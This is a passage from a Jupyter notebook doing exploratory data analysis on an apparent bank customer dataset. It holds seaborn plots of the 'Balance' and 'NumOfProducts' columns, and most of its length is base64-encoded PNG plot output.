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\n" + }, + "metadata": {} + } + ], + "source": [ + "## Balance\n", + "sns.violinplot(y = dc['Balance'])" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 302 + }, + "id": "w44kSBWGpEwv", + "outputId": "522137f0-da65-4a0b-c6ad-6938fc85ba89" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 17 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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4LiSfGho2bJiSk5NVVVUlSaqqqlJycrLPYSEAQHCE7NDQzJkzVVRUpAULFshms6msrCxUrQCA0UIWBKNGjdKyZctCtXkAwP9nnTlz5sxQNxFMERERSktLU0RERKhb6bWBMpeBMg+JufRVA2Uup2seYR6Px3NK7xEA0K9wriEAMBxBAACG69NfKAtEWVmZqqur9e2332rVqlW66KKLOo1xuVx68skntX79eoWFhen222/XDTfcEIJuT86fucybN0+vvfaaYmNjJUljx45VSUlJsFvt1sGDB/Xwww/rm2++UXh4uM477zyVlpZ2+shwW1ubHn30UX3++eeyWq165JFHlJGREaKuO/N3HkVFRdq4caPOOeccSVJOTo7uvPPOULR8UnfddZf27t0ri8WiyMhIPf7440pOTvYZ01/2F3/m0l/2F0mqqKjQvHnzutz3T/l+4hlgNm3a5Kmvr/dkZGR4tm/f3uWY5cuXe6ZOnepxuVyepqYmT3p6umfPnj1B7rR7/sxl7ty5nqeffjrInfXcwYMHPf/5z3+8t59++mnPo48+2mncvHnzPI899pjH4/F4du/e7bniiis8hw8fDlqf3fF3Ho888ojn1VdfDWZrAXE6nd7f165d65k4cWKnMf1lf/FnLv1lf6mrq/NMmzbtR/f9U72fDLhDQ6mpqZ2+oXyi1atX64YbbpDFYlF0dLSuueYarVmzJkgd+s+fufQXUVFRSktL894ePXq06uvrO4179913NWnSJEnSyJEjlZKSog8//DBofXbH33n0F2effbb398OHDyssLKzTmP6yv/gzl/6go6NDpaWlOtkHOk/1fjLgDg35w+FwaPjw4d7bdrs94LOZ9gXvvPOONmzYoJiYGN17770aM2ZMqFs6Kbfbrddff12ZmZmdavX19UpISPDe7suPzcnmIUmvvPKK3njjDY0YMUIPPvigRo0aFeQO/fPYY4/po48+ksfj0UsvvdSp3p/2l+7mIvX9/eW5557T+PHjT3oaiVO9nxgZBANJfn6+7rjjDg0ePFgfffSR7rrrLq1evdp7bLovmjVrliIjIzVlypRQt9IrJ5vH/fffr5iYGFksFq1YsUK33nqr1q1b1+MTJQbDU089JUlasWKFysvL9fe//z3EHQWuu7n09f2ltrZWdXV1mjFjRlC3O+AODfnDbrf7vJx3OBz99qyEMTExGjx4sCTpV7/6lex2u3bs2BHirn5cWVmZvv76a/3tb3+TxdL5v9/w4cO915yQ+u5j09084uLivMsnTpyo1tbWPvtX9HETJ07Uxx9/rIMHD/os74/7y4/Npa/vL5s2bdKuXbuUlZWlzMxMNTQ0aNq0adqwYYPPuFO9nxgZBDk5OVq2bJncbream5u1bt06ZWdnh7qtgOzbt8/7+xdffKFvv/1W559/fgg7+nHPPPOM6urqNH/+fIWHd32VpZycHL3xxhuSpK+++kqfffaZ0tPTg9lmt/yZxw8fl/Xr18tisSguLi5YLfrlyJEjcjgc3ts1NTUaOnSooqKifMb1h/3F37n09f3l9ttv14YNG1RTU6OamhrFx8dr0aJFuvLKK33Gner9ZMAdGnryySf13nvv6cCBA7rlllsUFRWld955R7fddpvuu+8+/fznP9eECRP03//+V7/5zW8kSXfffbdGjBgR4s4782cuzzzzjD7//HNZLBYNHjxY5eXliomJCXXrnezYsUMvvPCCRo4cqfz8fElSYmKi5s+frwkTJujFF19UXFycpk2bpqKiIl177bWyWCwqLS3VWWedFeLu/4+/83jkkUfU1NSksLAwnXXWWXr++ec1aFDf2t3a2to0ffp0tbW1yWKxaOjQoVq4cKHCwsL63f7i71z6y/7SldO5n3CKCQAwnJGHhgAA/4cgAADDEQQAYDiCAAAMRxAAgOEIAsBPr732mq644gqNGTOm0xeVTrXMzExt3LjxtG4DOI4gQJ+UmZmpyy+/XK2trd5ly5Yt00033XRatrdlyxbdfPPNGjNmjC655BLdcccd2rlzp7f+v//9T08//bRefvll1dbW6pxzzlFSUpJGjx6tMWPGKD09XX/5y1/kcrlOS3+BeOutt3TjjTeGug30AwQB+iy3263Fixef9u3U1tZq2rRpysrK0vr16/X+++8rKSlJN954o/bs2SNJampq0tGjR3XBBRf4rLty5UrV1tbqH//4h6qqqvTmm292uv9jx46d9jkAvUEQoM+aNm2aXn75ZTmdTp/le/fuVVJSks8T7E033aRly5ZJ+v4v4fz8fP35z39WamqqsrKytGXLFr311lv69a9/rcsvv1zLly/3rjt79mxNmDBBhYWFOuussxQVFaX7779fv/jFLzRv3jzt3r1bOTk5kqRLL71UN998c6deR40apUsuuUQ7duzw9rds2TJdffXVKiwslNvt1oIFC5SRkaHLL79cDz/8sA4dOuRdf8WKFcrIyFBaWpqef/55n/suKirSs88+67398ccf66qrrvLedjgcuueee3TZZZcpLS1NpaWl2rVrl0pKSrR161aNGTNGqampkqQPPvhA48aN876KWbRoUY8fFww8BAH6rJSUFP3yl78M6Mnq008/VVJSkj7++GPl5ubqgQce0Geffaa1a9dq9uzZKi0t1ZEjR9TW1qba2lrvE/0PXXfdddq4caPOP/98VVVVSfr+pGBdvUrZuXOnPvnkE58rYm3atEmrV6/WokWL9NZbb2n58uVavHix1q1bp9bWVpWWlnrXfeKJJ1ReXq7169erpaXF7xPUuVwu/eEPf9Dw4cNVU1OjDz/8UOPGjdOoUaP0xBNPaPTo0aqtrdXmzZslfX+a5tLSUtXW1qqqqkqXXXZZj/9tMfAQBOjT7rvvPv3zn/9Uc3Nzj9ZLTEzU9ddfL6vVqnHjxsnhcOjuu+9WeHi4rrzySoWHh+ubb77Rd999J7fb3eX5ZmJiYrp9UzgvL0+XXnqp7rjjDv3ud7/T9ddf763de++9ioyM1JAhQ7Rq1Sr9/ve/14gRI3TmmWfqgQce0OrVq3Xs2DGtWbNGV199tS699FKFh4dr+vTpXZ7RtCuffvqpGhsb9fDDDysyMlIRERHev/67MmjQIO3cuVOHDx/W0KFD9bOf/cyv7WBgIwjQp1100UW6+uqr9eKLL/ZovWHDhnl/HzJkiCTp3HPP9S6LiIjQkSNHZLPZZLFYtH///k73sX///m7PU798+XJt2rRJ69at0/333+/zBP7D0wI3Njb6XEgkISFBx44dU1NTkxobG33GRkZGdjpr5o85ftEYf09oN3fuXH3wwQfKyMjQlClTVFtb69d6GNgIAvR59913n958803vKYQjIyMlSe3t7d4xXT2R+yMyMlKjR4/u8tKL7777bq8OnfzwUomxsbE+54+vr6/XoEGDNGzYMMXGxvocCmpra1NLS4v39hlnnOEz1wMHDnh/t9vtcjgcXb4h3dWlGi+++GI9//zz2rhxo6655hr98Y9/DHh+GDgIAvR55513nsaNG6dXX31VkhQdHa24uDitXLlSLpdL//rXv7yf7gnEgw8+qBUrVmjx4sU6fPiwvvvuOz377LPaunWr7rnnnlMyh9zcXFVWVmrPnj06cuSInn32WV133XUaNGiQsrOz9e9//1ubN29WR0eH5s6dK7fb7V03OTlZH3zwgVpaWrR//35VVlZ6axdffLFiYmL017/+Va2trTp69Kg++eQTSd+/Ktq3b586OjokfX8t3LfffluHDh3S4MGDdeaZZ/p9CAoDG/8L0C/cfffdPt8pmDVrlhYtWqS0tDTt3LmzV9edTU1N1UsvvaS1a9cqPT1dGRkZ+uKLL/Taa69p5MiRp6B76frrr9f48eM1ZcoUZWVlKTw8XI8//rgk6cILL1RxcbFmzJih9PR02Ww2n0NFEyZM0E9/+lNlZmZq6tSpGjdunLdmtVq1cOFCff3118rIyNBVV12ld999V5J02WWX6YILLtCVV16ptLQ0Sd9/3DUzM1Njx47V0qVLNXv27FMyP/RvXI8AAAzHKwIAMBxBAACGIwgAwHAEAQAYjiAAAMMRBABgOIIAAAxHEACA4QgCADDc/wNk42mnbXKheQAAAABJRU5ErkJggg==\n" + }, + "metadata": {} + } + ], + "source": [ + "## NumOfProducts\n", + "sns.set(style = 'ticks')\n", + "sns.distplot(dc.NumOfProducts, hist=True, kde=False)" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 313 + }, + "id": "mQA-_XRdpEwv", + "outputId": "49da2435-a111-4ad1-9f71-cff9e334d4d1", + "scrolled": true + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 19 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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ENybwpC7RgBk7LB7FVTZO2nYKgz/A7DpaDbVKwZusEA2gMcNMADwNK2LwBxRRFPHD0RqMGRqPCKVC6nKIQsawVCM0aiW7e05h8AeQ8hoHaupbkJudIHUpRCFFoZBj5OA4HC6ql7qUgMDgDyC7j9UAAM4fwf59ooE2IiMGZdV2OFqcUpciOQZ/ADlYaIU5TovEWI3UpRCFnM7h0UdLeC9eBn+AcLtFHDpZz5O6RD4yLC0GcrkMR4vZ3cPgDxBlNXbYW5wMfiIfiYpUYnCyAUcY/Az+QHGw0HM5+ahMBj+Rr2Snx+JYaQMEwS11KZJi8AeIQyfrEBetZv8+kQ+NyIhFu1NAUZVN6lIk5ffgX7NmDbKyslBQUODvTQcsURRx6KQV5w2Jg0zGaRqIfGX4oBgAQGF5o8SVSMuvwX/o0CHs3bsXKSkp/txswKttaEW9rR0jOSkbkU8lxWmgjYrA8bLwDn6lvzbkdDqxcuVKPPvss7j55pt7fI7NZoPN1vUrmMUS+jdQKCjzDC8bnh4jcSVEoU0mk2FoanTYt/j9FvwvvPAC5s6di9TUM88xv379eqxZs8ZfJQWMgtJGKBVyZJijpS6FKOQNTTXig68K0eESwnZqFL8E/549e3Dw4EHce++9Z33eokWLMH/+/C6PWSwW5Ofn+7I8yRWUNiAzJRoRSp5rJ/K1oWlGuAQRJVV2DE0zSl2OJPwS/Dt37kRhYSGmTp0KwBPmt912G/77v/8bU6ZM8T7PYDDAYDD4o6SAIQhunChvxBUTB0ldClFYGJrqCfvj5Y0Mfl9asmQJlixZ4v